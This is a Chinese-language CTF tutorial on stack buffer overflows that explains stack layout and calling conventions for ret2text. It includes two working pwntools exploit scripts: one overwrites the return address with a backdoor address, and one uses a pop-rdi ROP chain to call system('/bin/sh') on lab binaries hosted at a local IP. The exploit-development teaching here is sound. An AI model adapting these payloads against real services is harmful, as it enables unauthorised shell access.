目录
1. 漏洞原理
栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的。
大家可以看看我写的函数调用栈的相关文章,帮助大家理解。
需要注意的是,32 位和 64 位程序有以下简单的区别:
- x86
- 函数参数在函数返回地址的上方。
- x64
- System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
- 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
2.1. ret2text
2.1.1. 32位程序案例
该漏洞类型为篡改栈帧上的返回地址为程序中已有的函数。我有一篇很早的文章,大家可以看看:栈溢出修改返回地址,得到隐藏代码的方法_栈溢出隐藏call-CSDN博客。为了帮助大家理解。这里也选择不同的调试类型为大家讲解。
这里我用ctfshow的一个靶场作为相关例子,下载相关附件后,放置在我们的虚拟机并挂载至10001端口
查看相关保护:checksec ret2text
可以看到,此程序为32位系统,没有canary保护,也就是说我们溢出时,不需要注意在栈上的保护,可以随意进行溢出。这里我们利用ida分析一下源代码。
可以看到main函数的运行结构,首先是调用logo函数,然后再调用ctfshow函数。
我们进入ctfshow函数,看看是什么。
首先声明了一个名为 buf 的大小为14字节的字符数组,它距离ebp的距离为0x12,这里通过read函数
buf能读入0x32字节 ,转换为10进制就是50个字节的数据,因此这里很明显就存在栈溢出了。这里可以判断存在栈溢出漏洞了。
紧接着我们又在左边的函数图里,看到了一个backdoor函数,这个函数存在bash代码,调用这个函数即可获取相关系统权限。
这里我们就开始构造相关poc了,我们使用python文件来进行演示。
from pwn import * #引用相关库
io = remote('192.168.79.131',10001) #设置远程地址
backdoor = 0x08048521 #后门函数的地址
payload = b"A"*(0x12 + 4) + p32(backdoor)
#payload = cyclic(0x12+4) + p32(backdoor)
#偏移地址,这里距离ebp的距离为12,+4是覆盖ebp的值,P32(backdoor)是后门函数的地址,让其小端序存储
io.sendline(payload) #发送相关恶意代码
io.interactive()
运行后,可以看到,已经获取了相关权限
2.1.2. 64位程序案例
对于 64 位汇编,当参数少于等于 6 个时,参数从左到右依次放入寄存器:rdi、rsi、rdx、rcx、r8、r9。当参数为 7 个以上时,前 6 个参数仍然按照上述规则放入寄存器,但是第 7 个及以后的参数从右向左依次放入栈中。也就是说要先把六个寄存器放满了才会考虑放入栈。
有时候,程序里面既没有现成的 system 函数,也没有 /bin/sh 字符串,也没有提供 libc.so 给我们,那么我们要做的就是想办法泄露 libc 地址,拿到 system 函数和 /bin/sh 字符串,我们就需要获取 rdi, rsi, rdx, rcx, r8, r9 它们的地址,首先要获取的是 rdi 的地址。
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('192.168.79.128',10001)
#elf = ELF('C:\\Users\\27389\\Downloads\\pwn')
#system = elf.sym['system']
system = 0x400520
bin_sh = 0x400808
pop_rdi = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ret = 0x4004fe
payload = b'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.sendline(payload)
io.recv()
io.interactive()
服务端远程开启,将程序挂载至10001端口。
攻击机运行poc文件,获取服务权限。
3. 引用参考
https://xz.aliyun.com/news/12744
CTFshow-PWN-栈溢出(pwn40)_ctfshow pwn40-CSDN博客
https://zhuanlan.zhihu.com/p/611961995